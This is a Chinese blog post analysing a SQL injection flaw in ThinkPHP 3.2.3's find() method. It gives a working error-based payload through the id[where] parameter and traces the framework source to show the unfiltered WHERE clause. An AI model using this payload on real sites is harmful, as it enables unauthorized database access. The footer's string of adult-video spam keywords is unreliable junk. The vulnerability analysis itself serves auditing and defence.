站長資訊網
        最全最豐富的資訊網站

        一起聊聊thinkPHP3.2.3中sql注入漏洞

        本篇文章給大家帶來了關于thinkphp的相關知識,其中主要介紹了thinkPHP3.2.3sql注入漏洞的相關問題,其中還包括了m方法、d方法、u方法等相關內容,希望對大家有幫助。

        一起聊聊thinkPHP3.2.3中sql注入漏洞

        推薦學習:《PHP視頻教程》

        前言

        攻敵所必救:

        • ThinkPHP中的常用方法匯總總結:M方法,D方法,U方法,I方法

        • Thinkphp3.2.3 安全開發須知

        搭建:

        1. 首先第一步就是必須先放在www目錄下(我是windows用的phpstudy)!!!!

        2. 創建數據庫,表名一定與你接下來要M的名字的相對應

        3. 連接數據庫的文件不多說了,自己配置:ThinkPHP/Conf/convention.php

        4. 配置控制器:WWWthinkphp3.2.3ApplicationHomeControllerIndexController.class.php

          <?phpnamespace HomeController;use ThinkController;class IndexController extends Controller {     public function index(){         $this->show('原來內容已經省略,太占地方'); 		$data = M('user')->find(I('GET.id')); 		var_dump($data); 	}}
        5. 測試:

          一起聊聊thinkPHP3.2.3中sql注入漏洞

        正文

        payload:

        ?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

        確實報錯注入成功,一切都是因為這句代碼的存在:$data = M('user')->find(I('GET.id'));

        I和M方法都沒有什么問題,真正的問題在于

        1. find 方法上,來自/ThinkPHP/Mode/Lite/Model.class.php
         public function find($options=array()) {            // 根據復合主鍵查找記錄         $pk  =  $this->getPk();         if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是會進入這里             // 根據復合主鍵查詢             $count = 0;             foreach (array_keys($options) as $key) {                 if (is_int($key)) $count++;              }              if ($count == count($pk)) {                 $i = 0;                 foreach ($pk as $field) {                     $where[$field] = $options[$i];                     unset($options[$i++]);                 }                 $options['where']  =  $where;             } else {                 return false;             }         }         // 總是查找一條記錄         $options['limit']   =   1;         // 分析表達式         $options            =   $this->_parseOptions($options);//前面都沒有什么影響,重點是這里的函數調用      	$resultSet          =   $this->db->select($options);//重要的一步

        2._parseOptions:因為主要針對options[where]所以無關代碼我全刪除了

        /ThinkPHP/Library/Think/Model.class.php

        protected function _parseOptions($options=array()) {         if(is_array($options))             $options =  array_merge($this->options,$options);         // 字段類型驗證         if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//這里不滿足is_array($options['where'])             // 對數組查詢條件進行字段類型檢查             foreach ($options['where'] as $key=>$val){                 $key            =   trim($key);                 if(in_array($key,$fields,true)){                     if(is_scalar($val)) {                         $this->_parseType($options['where'],$key);                     }                 }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){                     if(!empty($this->options['strict'])){                         E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');                     }                      unset($options['where'][$key]);                 }             }         }     //上面均沒用,到現在開始有用:?         // 查詢過后清空sql表達式組裝 避免影響下次查詢         $this->options  =   array();         // 表達式過濾         $this->_options_filter($options);//這里值得注意         return $options;     }

        3._options_filter

        到這就無了

        一起聊聊thinkPHP3.2.3中sql注入漏洞

        而且上面的操作也會清零 $options,所以這里可能是進錯了

        所以更正第二部的跟蹤,改為

        2.select:/ThinkPHP/Library/Think/Db/Driver.class.php

        public function select($options=array()) {         $this->model  =   $options['model'];         $this->parseBind(!empty($options['bind'])?$options['bind']:array());         $sql    = $this->buildSelectSql($options);         $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);         return $result;     }

        3.buildSelectSql:地址同上

        public function buildSelectSql($options=array()) {         if(isset($options['page'])) {             // 根據頁數計算limit             list($page,$listRows)   =   $options['page'];             $page    =  $page>0 ? $page : 1;             $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);             $offset  =  $listRows*($page-1);             $options['limit'] =  $offset.','.$listRows;         }         $sql  =   $this->parseSql($this->selectSql,$options);         return $sql;     }

        4.parseSql:地址同上

        public function parseSql($sql,$options=array()){         $sql   = str_replace(             array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),             array(                 $this->parseTable($options['table']),                 $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),                 $this->parseField(!empty($options['field'])?$options['field']:'*'),                 $this->parseJoin(!empty($options['join'])?$options['join']:''),                 $this->parseWhere(!empty($options['where'])?$options['where']:''),                 $this->parseGroup(!empty($options['group'])?$options['group']:''),                 $this->parseHaving(!empty($options['having'])?$options['having']:''),                 $this->parseOrder(!empty($options['order'])?$options['order']:''),                 $this->parseLimit(!empty($options['limit'])?$options['limit']:''),                 $this->parseUnion(!empty($options['union'])?$options['union']:''),                 $this->parseLock(isset($options['lock'])?$options['lock']:false),                 $this->parseComment(!empty($options['comment'])?$options['comment']:''),                 $this->parseForce(!empty($options['force'])?$options['force']:'')             ),$sql);         return $sql;     }

        5.parseWhere:同上

        protected function parseWhere($where) {         $whereStr = '';         if(is_string($where)) {//直接滿足,直接進入             // 直接使用字符串條件             $whereStr = $where;         }else{ // 使用數組表達式         }             return empty($whereStr)?'':' WHERE '.$whereStr;}

        最后$sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

        然后

        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;

        整個過程沒有任何過濾,seay分析thinkPHP太飛費勁了

        PHPstorm斷點審計:

        payload不變:

        ?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

        還是跟蹤find函數:

        一起聊聊thinkPHP3.2.3中sql注入漏洞

        跟蹤到這里步入一下,繼續跟蹤,跟蹤到最后會跳出這個函數并且,值依然沒有改變,同時步入下一個函數

        一起聊聊thinkPHP3.2.3中sql注入漏洞

        經核實,步入到了另一個函數中:

        一起聊聊thinkPHP3.2.3中sql注入漏洞

        繼續跟蹤buildSelectSql:

        一起聊聊thinkPHP3.2.3中sql注入漏洞

        繼續跟蹤parseSql:

        一起聊聊thinkPHP3.2.3中sql注入漏洞

        最后的代碼變成了:

        SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# LIMIT 1
        還是debug起來方便,基本不需要怎么動腦

        推薦學習:《PHP視頻教程》

        贊(0)
        分享到: 更多 (0)
        網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
        主站蜘蛛池模板: 精品国产免费一区二区三区香蕉 | 最新精品国偷自产在线| 国产精品久久波多野结衣| 中文字幕精品无码一区二区 | 日韩精品无码永久免费网站| 国产成人精品一区二区三区| 精品三级在线观看| jizz国产精品网站| 久久亚洲精品成人av无码网站| 亚洲精品456播放| 久热精品人妻视频| 黑巨人与欧美精品一区 | 免费精品无码AV片在线观看| 欧美日韩精品系列一区二区三区国产一区二区精品 | 巨大黑人极品VIDEOS精品| 国产伦精品一区二区三区视频猫咪 | 无码人妻精品一区二区蜜桃AV| 久久精品亚洲乱码伦伦中文| 国产精品制服丝袜亚洲欧美| 国产成人无码精品久久久免费| 亚洲精品视频在线| 国产在线拍揄自揄视精品不卡| 99在线精品视频在线观看| 国产精品香港三级国产AV| 精品人妻系列无码天堂| 精品人妻人人做人人爽| 精品无码久久久久国产| 国产麻豆精品一区二区三区v视界| 老司机67194精品线观看| 国产色婷婷五月精品综合在线| 国产精品vⅰdeoxxxx国产| 精品国产一区二区三区久久久狼| 国产日韩精品欧美一区| 国产亚洲一区二区精品| 久久精品国产一区| 91麻豆精品国产91久久久久久| 91精品成人免费国产片| 精品久久人人做人人爽综合| 四虎国产精品永免费| 亚洲国产精品无码专区| 精品一区二区三区免费毛片爱 |